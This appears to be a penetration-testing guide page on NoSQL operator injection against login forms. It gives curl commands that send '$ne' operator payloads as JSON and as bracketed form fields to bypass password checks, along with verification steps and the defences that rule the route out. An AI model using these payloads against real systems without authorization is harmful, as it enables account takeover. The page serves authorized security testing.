Test structured NoSQL operator injection with identity controls
Needs: The framework preserves an attacker-controlled operator object and the query uses it without rejecting its type
Shell commands
# Baseline
# A known username with an operator-valued password
curl -i -c cookies.txt -H 'Content-Type: application/json' \
--data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN
# Distinct context: a form parser that expands bracketed properties
curl -i -c cookies.txt --data-urlencode 'username=USER' \
--data-urlencode 'password[$ne]=x' http://TARGET:PORT/LOGIN
Read: compare against the same operator encoded as a plain string and against a known wrong password. Confirm the resulting identity through a protected route. A 200/login page or changed error is not authenticated access. Type validation, hashing the supplied password before querying, or removal of
$operators can rule out this route. Broader$neusername queries may select an unexpected first account; keep the intended identity explicit.
Verify → Verify a protected action and resulting identity; a 200 status or cookie alone is not authentication.
If it fails → Schema/type validation, password pre-hashing or operator filtering can reject the route; do not broaden to an unintended first account. More detail ↓
Explanation & examples
Test structured NoSQL operator injection with identity controls
- USE WHEN
- A login or search accepts JSON/nested form properties and evidence suggests an operator-based document query
- STARTING ACCESS
- A reproducible application request and a controlled input or access-context comparison
- RESULT
- A verified query or authentication transition with a known resulting identity
Recognize the clue
Capture the real JSON or nested-form login/search request and compare a wrong scalar, operator object and operator-as-string.
curl -i -c cookies.txt -H 'Content-Type: application/json' --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN
Protected profile after request: USERMeans: A structured operator changed the query and produced an authenticated state for the named identity.
Confirm: Verify protected access and identity; ensure the framework parsed an object rather than a string.
- After validation
- The operator object alone yields the intended verified transition: select the NoSQL method.
- Ruled out in this context
- Schema/type validation rejects objects or the password is compared outside the query: reject that route.
- Still inconclusive
- A 200 response, cookie or changed error without protected access remains inconclusive.
Troubleshooting: Schema/type validation, password pre-hashing or operator filtering can reject the route; do not broaden to an unintended first account.
Use when a login/search accepts structured JSON or nested form parameters and evidence suggests a MongoDB-style query. Start with a normal failed request, then change one value's type.
Read: compare against the same operator encoded as a plain string and against a known wrong password. Confirm the resulting identity through a protected route. A 200/login page or changed error is not authenticated access. Type validation, hashing the supplied password before querying, or removal of $ operators can rule out this route. Broader $ne username queries may select an unexpected first account; keep the intended identity explicit.
Sources: upstream 1.
Why it works
An operator object and a string containing operator text are different inputs. A changed response must be tied to query behavior and authenticated state.
Worked example · hypothetical
Observation: a JSON login accepts nested objects. Test: compare wrong password, operator object and operator-as-string. Illustrative output: only the object yields access as the named user. Interpretation: confirm that identity and map its rights.
New identity, privilege, host or route? Re-enumerate → All topic tasks →